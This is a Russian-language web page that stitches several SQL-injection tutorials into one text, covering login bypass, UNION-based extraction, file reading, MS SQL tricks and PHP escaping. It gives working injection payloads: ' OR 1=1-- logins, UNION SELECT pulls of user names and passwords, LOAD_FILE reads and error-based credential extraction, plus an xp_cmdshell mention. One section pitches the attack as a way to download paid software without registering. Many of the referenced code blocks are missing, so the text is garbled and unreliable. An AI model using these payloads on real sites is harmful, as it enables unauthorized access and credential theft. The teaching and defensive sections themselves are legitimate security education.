Sql injection что это
Что такое SQL инъекция: изучаем на примерах
В этой статье мы рассмотрим методы, используемые при SQL-инъекциях и способы защиты веб-приложений от таких атак.
Как работает SQL-инъекция
Рассмотрим простое веб-приложение с формой входа. Код HTML-формы приведен ниже:
Предположим, что запрос для проверки идентификатора пользователя на стороне сервера выглядит следующим образом:
Примечание : вам нужно будет написать инструкции SQL :
Шаг 1. Введите этот код в левую панель:
Шаг 2. Нажмите кнопку « Build Schema ».
Шаг 3. Введите приведенный ниже код в правой панели:
Шаг 4. Нажмите « Run SQL ». Вы увидите следующий результат:
Предположим, что пользователь предоставляет адрес электронной почты admin@admin.sys и 1234 в качестве пароля. Запрос, который должен быть выполнен в базе данных, может выглядеть следующим образом:
Приведенный выше код SQL инъекции примера может быть обойден путем выведения в комментарии части пароля и добавления условия, которое всегда будет истинным. Предположим, что злоумышленник подставляет следующие данные в поле адреса электронной почты:
и xxx в поле пароля.
Сгенерированный динамический оператор будет выглядеть следующим образом:
Хакерская активность: SQL-инъекции в веб-приложения
Оно обеспечивает базовую безопасность, такую как санация поля электронной почты. Это означает, что приведенный выше код не может использоваться для обхода данного механизма.
Чтобы обойти его, можно использовать поле пароля. На приведенной ниже диаграмме показаны шаги, которые нужно выполнить:
Предположим, что злоумышленник предоставляет следующие данные:
Шаг 1 : Вводит xxx@xxx.xxx в качестве адреса электронной почты;
Шаг 2 : Вводит xxx’) OR 1 = 1 — ] ;
Нажимает кнопку « Отправить ».
Он будет направлен в панель администрирования. Сгенерированный запрос будет выглядеть следующим образом:
На приведенной ниже диаграмме показано, как запрос был сгенерирован:
Как правило, злоумышленники для достижения своих целей пытаются применить в атаке с использованием SQL инъекций несколько различных методов.
Другие типы атак с использованием SQL-инъекций
SQL-инъекции могут нанести гораздо больший ущерб, чем вход в систему в обход механизма авторизации. Некоторые из таких атак могут:
Инструменты для автоматизации SQL-инъекций
Защита от SQL инъекций
Вот несколько простых правил, которые позволят защититься от атак с использованием SQL-инъекций :
Хранимые процедуры — они могут инкапсулировать SQL-запросы и обрабатывать все входные данные в качестве параметров.
Хакерская активность: использование для SQL-инъекций Havij
В этом практическом сценарии мы собираемся использовать программу Havij Advanced SQL Injection для сканирования уязвимостей сайта.
Упомянутый выше инструмент можно использовать для оценки уязвимости / приложения.
Заключение
Пожалуйста, опубликуйте свои комментарии по текущей теме материала. За комментарии, дизлайки, подписки, лайки, отклики огромное вам спасибо!
Пожалуйста, оставляйте свои комментарии по текущей теме статьи. Мы крайне благодарны вам за ваши комментарии, дизлайки, отклики, лайки, подписки!
SQL injection для начинающих. Часть 1
Приветствую тебя, читатель. Последнее время, я увлекаюсь Web-безопасностью, да и в какой-то степени работа связана с этим. Т.к. я всё чаще и чаще стал замечать темы на различных форумах, с просьбой показать, как это всё работает, решил написать статью. Статья будет рассчитана на тех, кто не сталкивался с подобным, но хотел бы научиться. В сети относительно много статей на данную тематику, но для начинающих они немного сложные. Я постараюсь описать всё понятным языком и подробными примерами.
Предисловие
Для того, чтобы понять данную статью, вам не особо понадобится знания SQL-языка, а хотя бы наличие хорошего терпения и немного мозгов — для запоминания.
Я считаю, что одного прочтения статьи будет мало, т.к. нам нужны живые примеры — как известно практика, в процессе запоминания, не бывает лишней. Поэтому мы будем писать уязвимые скрипты и тренироваться на них.
Что же такое SQL инъекция?
Говоря простым языком — это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Пример из жизни:
Отец, написал в записке маме, чтобы она дала Васе 100 рублей и положил её на стол. Переработав это в шуточный SQL язык, мы получим:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе
Так-как отец плохо написал записку (Корявый почерк), и оставил её на столе, её увидел брат Васи — Петя. Петя, будучи хакер, дописал там «ИЛИ Пете» и получился такой запрос:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ Пете
Мама прочитав записку, решила, что Васе она давала деньги вчера и дала 100 рублей Пете. Вот простой пример SQL инъекции из жизни 🙂 Не фильтруя данные (Мама еле разобрала почерк), Петя добился профита.
Подготовка
Для практики, Вам понадобится архив с исходными скриптами данной статьи. Скачайте его и распакуйте на сервере. Также импортируйте базу данных и установите данные в файле cfg.php
Поиск SQL injection
Как Вы уже поняли, инъекция появляется из входящих данных, которые не фильтруются. Самая распространенная ошибка — это не фильтрация передаваемого ID. Ну грубо говоря подставлять во все поля кавычки. Будь это GET/POST запрос и даже Cookie!
Числовой входящий параметр
Для практики нам понадобится скрипт index1.php. Как я уже говорил выше, подставляем кавычки в ID новости.
Т.к. у нас запрос не имеет фильтрации:
Скрипт поймет это как
SELECT * FROM news WHERE color=»#ff0000″>’
И выдаст нам ошибку:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16
Если ошибку не выдало — могут быть следующие причины:
1.SQL инъекции здесь нет — Фильтруются кавычки, или просто стоит преобразование в (int)
2.Отключен вывод ошибок.
Если все же ошибку вывело — Ура! Мы нашли первый вид SQL инъекции — Числовой входящий параметр.
Строковой входящий параметр
Запросы будем посылать на index2.php. В данном файле, запрос имеет вид:
Тут мы делаем выборку новости по имени пользователя, и опять же — не фильтруем.
Опять посылаем запрос с кавычкой:
Выдало ошибку. Ок! Значит уязвимость есть. Для начала нам хватит — приступим к практике.
Приступаем к действиям
Немного теории
Наверно Вам уже не терпится извлечь что-то из этого, кроме ошибок. Для начала усвойте, что знак » — » считается комментарием в языке SQL.
ВНИМАНИЕ! Перед и после него обязательно должны стоять пробелы. В URL они передаются как %20
Выполнится удачно. Можете попробовать это на скрипте index2.php, послав такой запрос:
Выучите параметр UNION. В языке SQL ключевое слово UNION применяется для объединения результатов двух SQL-запросов в единую таблицу. То есть для того, чтобы вытащить что-то нам нужное из другой таблицы.
Извлекаем из этого пользу
Если параметр «Числовой», то в запросе нам не нужно посылать кавычку и естественно ставить комментарий в конце. Вернемся к скрипту index1.php.
Т.к. мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором, чтобы оно было равно первому.
Подбираем количество полей
Подбор полей делается очень просто, достаточно посылать такие запросы:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Ошибка…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Опять ошибка!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Ошибки нет! Значит количество столбцов равно 5.
GROUP BY
Зачастую бывает, что полей может быть 20 или 40 или даже 60. Чтобы нам каждый раз не перебирать их, используем GROUP BY
Если запрос
sqlinj/index1.php?id=1 GROUP BY 2
не выдал ошибок, значит кол-во полей больше 2. Пробуем:
sqlinj/index1.php?id=1 GROUP BY 8
Оп, видим ошибку, значит кол-во полей меньше 8.
Если при GROUP BY 4 нет ошибки, а при GROUP BY 6 — ошибка, Значит кол-во полей равно 5
Определение выводимых столбцов
Для того, чтобы с первого запроса нам ничего не выводилось, достаточно подставить несуществующий ID, например:
sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5
Этим действием, мы определили, какие столбцы выводятся на страницу. теперь, чтобы заменить эти цифры на нужную информацию, нужно продолжить запрос.
Вывод данных
Допустим мы знаем, что еще существует таблица users в которой существуют поля id, name и pass.
Нам нужно достать Информацию о пользователе с >
Следовательно построим такой запрос:
sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE >
Скрипт также продолжает выводить
Для этого, мы подставим название полей, за место цифр 1 и 3
sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE >
Получили то — что требовалось! 
Чтение/Запись файлов
Для чтения и записи файлов, у пользователя БД должны быть права FILE_PRIV.
Запись файлов
Чтение файлов
Чтение файлов производится еще легче, чем запись. Достаточно просто использовать функцию LOAD_FILE, за место того поля, которое мы выбираем:
Таким образом, мы прочитали предыдущий записанный файл.
Способы защиты
Защититься еще проще, чем использовать уязвимость. Просто фильтруйте данные. Если Вы передаёте числа, используйте
Как подсказал пользователь malroc. Защищаться использованием PDO или prepared statements.
Базовые sql-инъекции в приложениях, использующих язык SQL. Руководство для чайников
Примечание переводчика
Данная работа является переводом части работы Chris Anley Advanced SQL Injection In SQL Server Applications. (прямая ссылка для скачивания)
В последующих статьях, при наличии свободного времени, данный перевод будет доведен до конца.
P.S. Перевод будет интересен более в образовательных и исторических целях.
Оригинальное название статьи: Продвинутые SQL-инъекции в приложениях, использующих язык SQL.
Аннотация
Введение
Structured Query Language (SQL) — это структурированный язык, используемый для взаимодействия с базами данных. Существует множетсво «диалектов» языка SQL, но сегодня, в основном, все они построены на основе стандарта SQL-92, один из ранних ANSI стандартов. Основной операционный блок SQL — запрос (query), который является совокупностью выражений, которые обычно возвращают совокупность результатов (result set). SQL выражения могут изменять структуру баз данных (используя выражения языков определения данных — DLL) и управлять их содержанием (используя выражения языков манипулирования данными — DML). В данной работе, мы рассмотрим transact-SQL, использующийся в Microsoft SQL Server.
SQL-инъекции возможны в том случае, когда злоумышленник может вставить свой SQL-код в запрос (query), для управления данными, которые отправляются в приложение.
Обычное SQL выражение выглядит следующим образом:
Это выражение берет «id», «forename» и «surname» из колонок таблицы «authors» и возвращает все строки в таблице. Выборка может быть ограниченна, определенным «автором», например:
Необходимо отметить, что в данном запросе строковые литералы разделены одинарной кавычкой. Предполагается, что «forename» и «surrname» являются данными, которые вводятся пользователем. В данном случае злоумышленник будет способен внести собственный SQL-запрос, путем добавления собственных значений в приложение. Например:
Тогда выражение примет следующий вид:
После того, как база данных попытается обработать подобный запрос будет возвращена следующая ошибка:
Причина ошибки будет заключаться в том, что введенная одиночная кавычка испортит структуру разделителей в запросе. Таким образом, база данных безуспешно попытается выполнить команду «hn», которая приведет к ошибке. В итоге, если злоумышленник введет в форму следующую информацию:
Таблица «authors» будет удалена, почему это произойдет мы рассмотрим позже.
Вам может показаться, что если мы будем удалять одиночные кавычки из формы ввода, а также «заменять» их, это может решить нашу проблему. И вы будете правы, однако существуют некоторые проблемы с использованием этого способа, в качестве решения данной задачи. Во-первых, не вся вводимая пользователем информация является «строками» (strings). Если пользовательская форма будет содержать «id» автора, который обычно является числом. Например, наш запрос может выглядеть следующим образом:
В данном случае взломщик беспрепятственно сможет добавить любое SQL-выражение в после численных данных. В других разновидностях SQL-запросов, используются различные разграничители. Например, в Microsoft Jet DBMS разграничителем будет символ «#». Во-вторых, «избегание» («escaping») одиночных кавычек вовсе не самый простой способ защиты, как это может показаться сперва. Подробнее об этом мы поговорим далее.
Приведем пример на основе страницы входа на основе Active Server Pages (ASP), которая при помощи SQL получает доступ к базе данных, чтобы авторизовать пользователя в каком-либо приложении.
Приведем код страницы, содержащей форму входа, в которую вводятся имя пользователя и пароль.
SQL Injection от и до
Содержание статьи
SQL Injection достаточно хорошая возможность для хакера получить
доступ к серверу. И при небольшом усилии, он
все-таки его получает 🙂
Coder inside
Базы данных часто используются для написания WEB-приложений. Их использование наиболее уместно для хранения пользовательских регистрационных данных, идентификаторов сессий, организации поиска, а также других задач требующих обработки большего
количества данных. Для обращения к БД используются серверные технологии: PHP, PERL, ASP, и т.д. Именно тут и начинается самое интересное. Когда на сервере
установлены все патчи, а брандмауэр блокирует все порты кроме 80-ого или когда требуется аутентификация для доступа к некоторым данным, для взлома хакер может использовать SQL Injection. Суть данной атаки заключается в использовании ошибки на стыке WEB технологий и SQL. Дело в том, что многие web страницы для обработки пользовательских данных, формируют специальный SQL запрос к БД. Неосторожное использование данной методики может привести к довольно интересным результатам.
SQL Injection
Для пояснения атаки представим себе, что ты зашел на сайт чтобы скачать одну очень важную тулзу и с ужасом замечаешь, что сделать это может только зарегистрированный пользователь, а регистрация, конечно же, стоит денег 🙂 Последние заработанные отдавать не хочется, а без программы никак! Самое время вспомнить о том как
обращаться к базам данных SQL. Например, проверка логина и пароля, на PHP может иметь следующий вид:
SELECT * FROM users WHERE login=’user’ AND
password=’31337′
Это значит примерно следующее: верни мне все записи из базы данных users у которых логин «user», а пароль «31337». Если существует такая запись, значит пользователь зарегистрирован, ну а если нет, то нет. Но при определенных обстоятельствах все можно исправить. Имеется ввиду ситуация, когда приложение не проверяет содержимое передаваемых данных или проверяет не полностью, на наличие SQL инструкций. В данном примере сверяются два поля login и password, но если в качестве пароля указать «31337′ AND email=’user@server.com»(без двойных кавычек), то запрос получится уже немного другим:
SELECT * FROM users WHERE login=’user’ AND password=’31337′ AND
email=’user@server.com’
И в случае существования поля email это условие также будет проверено. Если вспомнить основы булевой алгебры, то приходит в голову что кроме операции «и» существует и «или», а поскольку их использование поддерживается SQL, можно выше
описанным способом добавить условие которое всегда возвращает истину. Для осуществления данного, необходимо в качестве логина указать «user’ OR 1=1—«, в таком случае запрос примет вид:
SELECT * FROM users WHERE login=’user’ OR 1=1—‘ AND
password=’31337′
Для начала следует знать, что «—» означает конец запроса, и все после «—»
обрабатываться не будет! Получается, словно мы сделали запрос:
SELECT * FROM users WHERE login=’user’ OR 1=1
Как вы видите мы добавили условие «1=1», значит критерием проверки будет «если логин ‘user’ или 1=1», но ведь 1 всегда равно 1 (исключением может быть только арифметика Дани Шеповалова :)). Чтобы проверить наши подозрения
забиваем в адресной строке «http://www.server.com?login=user or 1=1—&password=31337». Это приводит к тому, что не играет роли какой именно логин мы указали, а
тем более пароль! И мы в матри. ой, в системе и можем спокойно качать то что нам необходимо.
Но это все в теории. На практике нам неизвестно каким образом формируется запрос, какие данные передаются и в какой последовательности. Поэтому необходимо указывать «user’ OR 1=1—» для всех полей. Также следует проверить форму отправки на наличие скрытых полей. В HTML они описываются как » «. Если таковые существуют, сохраните страницу и поменяйте значения данных полей. Значения содержащиеся в них часто забывают проверять на наличие SQL инструкций. Но чтобы все заработало следует в форме (тэг «FORM») для параметра «ACTION» указать полный путь к скрипту, что обрабатывает данный запрос.
Но не всегда также известно как сформирован запрос,
прошлый пример можно было сформировать и следующими способами:
SELECT * FROM users WHERE (login=’user’ AND password=’31337′)
SELECT * FROM users WHERE login=»user» AND password=»31337″
SELECT * FROM users WHERE login=user AND password=31337
В таком случае можно попробовать следующие варианты:
Все зависит от предназначения скрипта, и от программиста. Поскольку каждому человеку свойственно все делать по своему, то вполне возможно, что программист выберет не самый простой вариант. Поэтому не следует сразу
сдаваться, если вы получите отказ. Необходимо
испробовать как можно большее количество вариантов.
Password detection
Обходить авторизацию неплохо, но очень часто дырка которую вы используете закрывается, и все что было для вас доступно теряется.
Этого и следовало ожидать, если программист не дурак он
со временем прикроет все лазейки. От таких ситуаций можно легко избавится заранее позаботившись об этом. Правильным решением может стать угадывание пароля посредством
анализа результатов аутентификации. Для начала пробуем угадать пароль, для этого введем место него:
Если нам ответят, что авторизация пройдена, значит пароль
начинается не на букву «а», а на какую-то из следующих по списку. Двигаемся дальше и подставляем
место «a», следующие «b», «c», «d», «e». и т.д. пока нам не ответят, что пароль не правильный. Пускай этот процесс остановился на символе «x», в таком случае создаются два варианта развития ситуации, пароль найден или же пароль начитается на этот символ. Чтобы проверить первый вариант пишем место пароля:
и если пароль принят и тебя впустили, значит ты угадал пароль! Ну а нет, тогда следует подбирать уже второй символ,
точно так же, с начала. Для двух символов проверять
нужно так же. В конце концов, ты получишь пароль, а логин ищешь тем самым путем 🙂
В случае, если найденные пароль и логин тебя не устраивают, можешь отыскать и другие. Для этого необходимо начать проверку с последнего символа найденного пароля. Так, если пароль был «xxx» проверять необходимо существование пароля
«xxy»:
чтобы не упустить не один вариант!
MS SQL Server
MS SQL Server вообще находка, если упущена необходимая фильтрация. Используя уязвимость SQL Injection можно исполнять
команды на удаленном сервере с помощью exec master..xp_cmdshell. Но чтобы использовать эту конструкцию
необходимо завершить операцию «SELECT». В SQL инструкции разделяются точкой с запятой. Поэтому подключится к некоторому IP по Telnet’у, необходимо место пароля/логина набрать:
У MS SQL Server есть, еще несколько интересных особенностей, позволяющих узнать логины и пароли хранящиеся в базе данных. Для этого вывод об ошибках перенаправляется на произвольный сервер и посредствам их
анализа можно узнать название таблицы, полей и их типов. После чего можно запросом
‘ UNION SELECT TOP 1 login FROM users—
Ответ может быть следующим:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin’ to a column of data type int.
/default.asp, line 27
Теперь мы знаем, что есть пользователь с именем «admin». Теперь мы можем получить его пароль:
‘ UNION SELECT TOP 1 password FROM users where login=’admin’—
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘xxx’ to a column of data type int.
/tedault.asp, line 27
Теперь нам известно, что есть пользователь «admin» с паролем «xxx». Этим можно смело
воспользоваться и залогинится в систему 😉
Защита
Но этого всего естественно можно избежать. Для этого можно
воспользоваться фильтрами,
предоставляемыми производителями. Можно найти свои решения, например заменять все одинарные
кавычки двойными (если для SQL запроса мы пользуетесь одинарными), или наоборот. Можно разрешить только использование букв и с@баки, в случае если требуется ввести
электронный адрес. А еще в перле есть удивительная
функция 🙂 quote() в модуле DBI::DBD, которая успешно делает ваш запрос безопасным по отношению к SQL. Решений много, необходимо просто ими
воспользоваться. Иначе зачем тогда все это.
SQL инъекции. Проверка, взлом, защита
SQL инъекция — это один из самых доступных способов взлома сайта.
Суть таких инъекций – внедрение в данные (передаваемые через GET, POST запросы или значения Cookie) произвольного SQL кода. Если сайт уязвим и выполняет такие инъекции, то по сути есть возможность творить с БД (чаще всего это MySQL) что угодно.
Как вычислить уязвимость, позволяющую внедрять SQL инъекции?
Если при заходе на данные страницы появляется ошибка, значит сайт уязвим на SQL инъекции.
Пример ошибки, возникающей при проверке уязвимости 
Возможные SQL инъекции (SQL внедрения)
1) Наиболее простые — сворачивание условия WHERE к истиностному результату при любых значениях параметров.
2) Присоединение к запросу результатов другого запроса. Делается это через оператор UNION.
3) Закомментирование части запроса.
Практика. Варианты взлома сайта с уязвимостью на SQL внедрения
Итак, у нас есть уже упоминавшийся сайт test.ru. В базе хранится 4 новости, 3 из которых выводятся. Разрешение на публикацию новости зависит от парметра public (если параметр содержит значение 1, то новость публикуется).
Список новостей, разрешённых к публикации
При обращении к странице test.ru/?detail=4, которая должна выводить четвёртую новость появляется ошибка – новость не найдена.
В нашем случае новость существует, но она запрещена к публикации. 
Но так как мы уже проверяли сайт на уязвимость и он выдавал ошибку БД, то пробуем перебирать возможные варианты запросов.
В адресной строке плюс (+) выполняет роль пробела, так что не пугайтесь
В итоге удача улыбнулась и два запроса (первый и третий) вернули нам детальное описание четвёртой новости 
Разбор примера изнутри
За получение детального описания новости отвечает блок кода:
$detail_id=$_GET[‘detail’];
$zapros=»SELECT * FROM `$table_news` WHERE `public`=’1′ AND `id`=$detail_id ORDER BY `position` DESC»;
Глядя на запрос, получаемый при обращении к странице через test.ru/?detail=4+OR+1
SELECT * FROM `news` WHERE `public`=’1′ AND `id`=4 OR 1 ORDER BY `position` DESC
становится не совсем ясно, почему отобразилась 4-ая новость. Дело в том, что запрос вернул все записи из таблицы новостей, отсортированные в порядке убывания сверху. И таким образом наша 4-ая новость оказалась самой первой, она же и вывелась как детальная. Т.е просто совпадение.
Защита от SQL инъекций (SQL внедрений)
Защита от взлома сводится к базовому правилу «доверяй, но проверяй». Проверять нужно всё – числа, строки, даты, данные в специальных форматах.
Числа
Строки
$a=»пример текста с апострофом ‘ «;
echo addslashes($a); //будет выведено: пример текста с апострофом \’
Кроме этого существуют две функции, созданные именно для экранизации строк, используемых в SQL выражениях.
Это mysql_escape_string($str); и mysql_real_escape_string($str);.
Магические кавычки
Магические кавычки – эффект автоматической замены кавычки на обратный слэш (\) и кавычку при операциях ввода/вывода. В некоторых конфигурациях PHP этот параметр включён, а в некоторых нет. Для того, что бы избежать двойного экранизирования символов и заэкранизировать данные по-нормальному через mysql_real_escape_string($str);, необходимо убрать автоматические проставленные обратные слеши (если магические кавычки включены).
Проверка включённости магических кавычек для данных получаемых из GET, POST или Куков организуется через функцию get_magic_quotes_gpc(); (возвращает 1 – если магические кавычки включены, 0 – если отключены).
В закючении привожу код с полной экранизацией строк для записи в БД
if(get_magic_quotes_gpc()==1)
<
$element_title=stripslashes(trim($_POST[«element_title»]));
$element_text=stripslashes(trim($_POST[«element_text»]));
$element_date=stripslashes(trim($_POST[«element_date»]));
>
else
<
$element_title=trim($_POST[«element_title»]);
$element_text=trim($_POST[«element_text»]);
$element_date=trim($_POST[«element_date»]);
>
$element_title=mysql_real_escape_string($element_title);
$element_text=mysql_real_escape_string($element_text);
$element_date=mysql_real_escape_string($element_date);
Статья была подготовлена на основе практических навыков по защите веб-систем. Теория дело хорошее, но практика важнее и главное она работает.